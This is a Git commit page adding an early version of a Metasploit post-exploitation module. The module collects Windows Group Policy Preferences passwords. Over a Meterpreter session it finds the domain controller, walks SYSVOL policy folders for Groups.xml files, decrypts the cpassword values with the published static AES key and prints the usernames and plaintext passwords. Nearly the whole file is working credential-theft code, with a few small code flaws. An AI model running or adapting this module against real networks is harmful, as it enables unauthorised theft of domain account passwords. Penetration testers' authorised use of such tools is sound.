Initial post/windows/gather/credentials Windows Group Policy Preferences Passwords

unstable
Meatballs1 2012-06-15 17:50:36 +01:00
parent 5006db7550
commit 1b64fee5d2
1 changed files with 178 additions and 0 deletions

View File

@ -0,0 +1,178 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/windows/priv'
require 'rexml/document'
require 'msf/core/post/common'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Common
domain_not_found_error =
def initialize(info={})
super(update_info(info,
'Name' => "Windows Gather Enum Group Policy Prefences Passwords",
'Description' => %q{
"This module enumerates users and passwords created on the local machine via group policy preferences.
Based upon work by:
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
Code heavily based on enum_domain.rb and smartftp.rb modules.
},
'License' => MSF_LICENSE,
'Version' => '$Revision: 0.1 $',
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Meatballs']
))
end
def reg_getvaldata(key,valname)
value = nil
begin
root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
v = open_key.query_value(valname)
value = v.data
open_key.close
rescue
end
return value
end
def get_domain_controller()
domain = nil
begin
subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
v_name = "DCName"
domain_controller = reg_getvaldata(subkey, v_name)
rescue
print_error("This host is not part of a domain.")
end
return domain_controller
end
# Modified from smartftp.rb
# Recursive function that enums specific subdirs through a list of regexs to a specific path.
def enum_subdirs(path, regex)
# The search function takes too long as not indexed.
# enum_groups_xml = session.fs.file.search(path, "Groups.xml", true, -1)
enum_groups_xml = []
current_regex = regex.pop
begin
session.fs.dir.foreach(path) do |sub|
next if sub =~ /^(\.|\.\.)$/ || !(sub =~ current_regex)
xmlpath= "#{path}\\#{sub}"
if regex.length == 0
enum_groups_xml << xmlpath
else
enum_groups_xml += enum_subdirs(xmlpath, regex.clone)
end
end
rescue Rex::Post::Meterpreter::RequestError => e
#print_error "Received error code #{e.code} when enumerating #{path}"
end
return enum_groups_xml
end
# Taken from smartftp.rb
def get_xml(path)
begin
connections = client.fs.file.new(path, 'r')
condata = ''
until connections.eof
condata << connections.read
end
return condata
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} when reading #{path}"
return nil
end
end
# Taken from smartftp.rb
def parse_xml(data)
mxml = REXML::Document.new(data)
mxml.elements.each("Groups/User/Properties") do |property|
next if property.attributes["cpassword"].nil?
username = property.attributes["userName"]
new_name = property.attributes["newName"]
action = property.attributes["action"]
disabled = property.attributes["acctDisabled"]
cpassword = property.attributes["cpassword"]
password = decrypt(cpassword)
if !new_name.to_s.empty?
username = new_name
end
print_good("username: #{username}, disabled: #{disabled}, password: #{password}, action: #{action}")
# if session.db_record
# source_id = session.db_record.id
# else
# source_id = nil
# end
# report_auth_info(
# :host => host,
# :port => port,
# :source_id => ssource_id,
# :source_type => "exploit",
# :user => user,
# :pass => pass
# )
end
end
def decrypt(password)
padding = "=" * (4 - (password.length % 4))
password = Rex::Text.decode_base64(password + padding)
key = ["4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b"].pack("H*")
decrypt = OpenSSL::Cipher.new("aes-256-cbc")
decrypt.decrypt
decrypt.key = key
plaintext = decrypt.update(password)
plaintext << decrypt.final
return plaintext
end
def run
domain_controller = get_domain_controller()
if not domain_controller.nil?
print_good("FOUND Domain Controller: #{domain_controller}")
dom_info = domain_controller.split('.')
dom_info[0].sub!(/\\\\/,'')
target_path = "#{domain_controller}\\SYSVOL\\#{dom_info[1]}.#{dom_info[2]}\\Policies"
print_status("Searching #{target_path} for Groups.xml")
regex = [ /^(Groups.xml)$/, /^(Groups)/, /^(Preferences)/, /^(Machine)/, /^(\{[\d\w-]*\})/ ]
for result in enum_subdirs(target_path, regex)
xml = get_xml(result)
unless xml.nil?
parse_xml(xml)
end
end
else
print_error("This host is not part of a domain.")
end
end
end